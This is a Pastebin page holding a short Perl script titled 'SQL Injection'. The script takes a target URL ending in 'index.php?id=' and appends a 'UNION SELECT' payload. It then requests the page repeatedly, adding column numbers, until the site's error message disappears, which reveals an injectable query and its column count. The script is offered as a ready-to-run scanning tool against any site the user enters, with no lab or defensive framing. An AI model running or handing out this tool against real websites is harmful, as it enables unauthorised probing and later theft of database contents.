Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use LWP::UserAgent;
- print "SQL Injection\n[+] Target \"www.xxx.xxx/index.php?id=\" = ";
- chomp($target=<STDIN>);
- @target=split(//,$target);
- while ($target[$#target]=~/[0-9]/ || $target[$#target]=~/-/) {
- pop(@target);
- }
- $target=join('',@target);
- unless ($target=~/^http:\/\//) {
- $target='http://'.$target;
- }
- print "[+] Scan ",$target,"\n";
- $target.="-1+UNION+SELECT+1";
- $oritarget=$target;
- chop($oritarget);
- print "[] Scan : 1\n";
- $agent=LWP::UserAgent->new;
- SCAN : for ($i=2;$i<50;++$i) {
- $content=$agent->get($target)->content;
- unless ($content=~/Warning/) {
- print "[+] Found : $target";
- exit;
- }
- print "[] Scan : ",$i,"\n";
- $target=$target.",".$i;
- }
- print "[-] Not found";
- #http://comfreedom.blogspot.com/2011/02/perl-sql-scan-2.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement